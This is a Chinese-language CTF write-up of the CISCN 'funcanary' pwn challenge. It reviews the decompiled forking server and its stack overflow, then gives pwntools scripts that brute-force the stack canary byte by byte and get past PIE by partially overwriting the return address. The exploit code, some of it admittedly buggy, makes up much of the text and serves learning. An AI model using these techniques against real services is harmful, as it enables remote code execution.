title:ciscn_pwn_funcanary
ciscn_pwn_funcanary
做了一整天的牢,爆破canary时一直报错说byte型不能和str型相连接,好不容易爆破出canary了,结果才发现还有一个pie enable。难绷。
不过总算是把他复现出来了:
直接看保护:这保护不得不说很豪华。
直接ida看静态:
void __fastcall __noreturn MEMORY[0x12D2](__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
很明显这是子线程覆盖canary,首先fork
一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止,这就跟便于我们对canary的爆破:
漏洞函数:
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}
在sub_128A中有一个read函数作为溢出点:
通过循环来逐字节爆破:stack reading
coding='utf-8'
from pwn import *
from binascii import*
context.log_level = 'debug'
# context.terminal = ['tmux','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./funcanary')
p.recvuntil('welcome\n')
canary = b'\x00'
for i in range(7):
for j in range(256):
payload =b'a'*(0x68)+canary + p8(j)#这里一开始是下面这种写法
p.send(payload)
a = p.recvuntil(b'welcome\n')
if b'have fun' in a: #如果没有显示stack-smashing则表示canary没有错误,所以会正常输出have fun,就可以判断是否成功。
canary += p8(j)
break
##-------------报错写法——————------
canary = "\x00"
for i in range(7):
for j in range(256):
payload ="\x00"*(0x68)+canary + chr(i)
p.send(payload)
a = p.recvuntil(b'welcome\n')
if b'have fun' in a:
canary += chr(i)
break#很难崩
成功爆破:
然后就是绕过pie了:
for i in range(16):
payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适,这里p8的范围是2-242也就是0x0000-0xf200,如果地址是0xf700啥的会不会有问题?或许类似下面这种跟合适?
#list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
p.send(payload)
a = p.recv()
if b'flag' in a:
print(a)
break
p.interactive()
这里就不得不提到绕过pie的一个技术over write 的bypass:
因为pie保护是对内存页操作的所以只会影响除前三字节以外的地址,这时候我们就可以通过覆盖返回地址的后三字节来控制程序流,这里因为往往返回地址和getshell的地址的偏移也只在一内存页单位内,所以其他字节也基本不变,(个人理解可能有误)
所以这里也可以直接覆盖四字节,不用再爆破
当然很多时候其实没有这么顺利,第四字节往往不一样,这时候就又需要爆破了
这里因为环境已经关闭所以没法拿到远程主机/bin/目录下的flag: